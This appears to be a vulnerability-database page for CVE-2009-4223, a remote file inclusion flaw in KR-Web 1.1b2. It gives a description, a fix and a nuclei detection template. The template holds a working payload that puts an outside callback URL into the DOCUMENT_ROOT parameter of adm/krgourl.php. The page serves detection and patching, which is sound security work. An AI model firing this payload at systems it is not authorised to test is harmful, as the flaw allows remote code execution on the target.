HexBrain

Browse / CVEs / CVE-2009-4223

CVE-2009-4223· gianni tommasi / kr-php web content server· CWE-94

KR-Web <=1.1b2 - Remote File Inclusion

highseverity
7.5CVSS score
54.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.

Impact

An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.

Fix

Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2009-4223 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-4223

info:
  name: KR-Web <=1.1b2 - Remote File Inclusion
  author: geeknik
  severity: high
  description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.
  impact: |
    An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.
  remediation: |
    Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395
    - http://www.exploit-db.com/exploits/10216
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4223
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4223
    cwe-id: CWE-94
    epss-score: 0.54584
    epss-percentile: 0.99026
    cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gianni_tommasi
    product: kr-php_web_content_server
  tags: cve,cve2009,krweb,rfi,edb,gianni_tommasi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from